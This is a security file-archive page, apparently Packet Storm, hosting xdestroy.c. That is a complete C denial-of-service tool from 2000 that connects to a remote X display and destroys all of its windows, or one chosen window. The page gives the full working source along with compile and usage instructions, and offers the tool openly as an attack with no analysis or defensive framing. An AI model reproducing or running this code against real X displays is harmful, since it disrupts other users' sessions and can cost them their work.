exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

xdestroy.c

xdestroy.c
Posted Jan 28, 2000
Authored by Blasphemy

xdestroy.c - Destroys all windows in an X display.

tags | denial of service
systems | windows
SHA-256 | 5bce5c0b62ac65885af75f01dfb4a71ae1cd542fb04782c184c9b35f9b2251aa

xdestroy.c

Change Mirror Download
/* xdestroy.c
* Destroys all windows in an X display
*
* Usage: ./xdestroy hostname:0 <option>
* Compile: gcc -lX11 -lm -o xdestroy xdestroy.c
* or gcc -L/usr/X11R6/lib -lX11 -lm -o xdestroy xdestroy.c
*
*
* blasphemy (cornoil@netscape.net)
*/

#include <stdio.h>
#include <X11/X.h>
#include <X11/Xlib.h>

int
main(argc, argv)
int argc;
char *argv[];
{
Display *remote_display;
Window r, p, *c;
unsigned int nc, x;

printf("xdestroy.c by blasphemy | fred_\n");

if (argc < 3) {
fprintf(stderr,
"usage: %s [hostname:0] [option]\n"
"Options:\n\t-d\tDestroy all windows\n"
"\t-s #\tDestroys a specific window\n", argv[0]);

exit(1);
}

if ((remote_display = XOpenDisplay(argv[1])) == NULL) {
fprintf(stderr,
"can't open Display: %s\n", argv[1]);

exit(1);
} else {
printf("connected.. ");
}

r = DefaultRootWindow(remote_display);
XQueryTree(remote_display,
r,
&r, /* root */
&p, /* parent */
&c, /* children */
&nc); /* number of children */

/* I didn't use getopt() cause I'm to lazy */

if (strcmp(argv[2], "-d") == 0) {
printf("destroying all %d windows\n", nc);

for (x = 0; x < nc; x++)
XDestroyWindow(remote_display, c[x]);

} else if (strcmp(argv[2], "-s") == 0) {
printf("destroying window %d\n", atoi(argv[3]));

x = atoi(argv[3]);
if (x > nc) {
printf("No such window!\n");
XCloseDisplay(remote_display);
exit(1);
}
else
XDestroyWindow(remote_display, c[x]);
} else
printf("Unknown option\n");

XCloseDisplay(remote_display);

return(0);
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close